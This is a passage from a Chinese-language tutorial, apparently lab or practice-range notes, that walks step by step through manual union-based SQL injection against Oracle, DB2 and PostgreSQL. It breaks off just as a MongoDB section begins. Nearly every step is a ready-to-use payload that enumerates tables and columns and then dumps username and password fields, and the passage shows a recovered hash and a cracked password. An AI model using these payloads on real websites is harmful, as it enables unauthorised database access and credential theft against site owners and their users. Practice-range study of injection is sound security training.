union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual--+
复制代码
得到了它的第二个表名是 LOGMNR_GLOBAL$ ,我们接着爆破他的第三个表名
union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$' and table_name not in 'LOGMNR_GLOBAL$') from dual--+
复制代码
得到了它的第三个表名是 LOGMNR_GT_TAB_INCLUDE$ ,我们接着爆破他的第四个表名
union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$' and table_name not in 'LOGMNR_GLOBAL$' and table_name not in 'LOGMNR_GT_TAB_INCLUDE$') from dual--+
复制代码
这时我们发现页面没有变化还是第三个表名,我们就可以判断出他只有三个表
接下来我们使用模糊搜刮查询,查询带有 user 的表名
union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual--+
复制代码
就可以得到 sns_users 表名
第六步
查询数据库的列名
union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual--+
复制代码
我们得到第一个列名为 USER_NAME
这时我们接着查询第二个
union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME') from dual--+
复制代码
我们得到第二个列名为 AGENT_NAME
这时我们接着查询第三个
union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME') from dual--+
复制代码
我们得到第三个列名为 PROTOCOL
union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME' and column_name not in 'PROTOCOL' and column_name not in 'SPARE1' and column_name not in 'DB_USERNAME' and column_name not in 'OID' and column_name <> 'EVENTID' and column_name <> 'NAME' and column_name <> 'TABLE_OBJNO') from dual--+
复制代码
第八步
查询数据库数据获取账号密码的字段内容
union select USER_NAME,USER_PWD from "sns_users" where rownum=1--+
复制代码
union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong'--+
复制代码
union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong' and USER_NAME not in 'hu'--+
复制代码
第九步
解密获取到的密码
得到 549459
DB2手工注入
跟其它数据库一样,检测注入点都是可以通过拼接 and 语句进行判断。
?id=1 and 1=1
?id=1 and 1=2
复制代码
回显正常
回显错误,可以判断出这个靶场是数字型
第二步
判断它有多少个字段。
id=1 order by 2
id=1 order by 3
复制代码
页面回显正常
页面回显非常,可以判断出当前页面有两个字段。
第三步
使用联合查询注入来确认回显位
union select 1,2,3,4 from syscat.tables
复制代码
第四步
查看数据库名
union select 1,current schema,current server,4 from syscat.tables--+
复制代码
第五步
爆表并确定表名
第一个表
union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 0,1--+
复制代码
GAME CHARACTER
第二个表
union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 1,1--+
复制代码
NOTICE
第六步
爆出数据库的字段
第一个列
union select 1,colname,current schema,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 0,1--+
复制代码
DB2INST1
union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 1,1--+
复制代码
GAME_CHARACTER
第七步
爆字段值并获取其Key
第一个账号密码
union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 0,1--+
复制代码
1c63129ae9db9c60c3e8aa94d3e00495
第二个账号密码
union select 1,name,password,4 from GAME_CHARACTER limit 1,1--+
复制代码
末了一步
解密
PostGREsql手工注入
第一步
查看是否存在注入
and 1=1 //正常
and 1=2 //异常
复制代码
第二步
爆出有几列回显
order by 4 //正常
order by 5 //异常
复制代码
第三步
爆出回显位
and 1=2 union select 'null',null,null,null //无回显
and 1=2 union select null,'null',null,null //有回显
and 1=2 union select null,null,'null',null //有回显
and 1=2 union select null,null,null,'null' //无回显
复制代码
第四步
爆出数据库
and 1=2 union select null,null,string_agg(datname,','),null from pg_database
复制代码
第五步
爆出数据库下的表名
and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'
and 1=2 union select null,null,string_agg(relname,','),null from pg_stat_user_tables where schemaname='public'
and 1=2 union select null,null,string_agg(table_name,','),null from information_schema.tables where table_schema='public'
复制代码
第六步
查询字段,看到user表先查他
and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'
复制代码
第七关
爆出数据
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
复制代码
第八关
解密处理去登录提交
MongoDB手工注入
靶场:墨者学院
注入地点同上
第一步
给出的源码...可以看到数据库查询的语句如下..构造回显测试..
var data= db.notice.findOne({'id':'$id'});return data;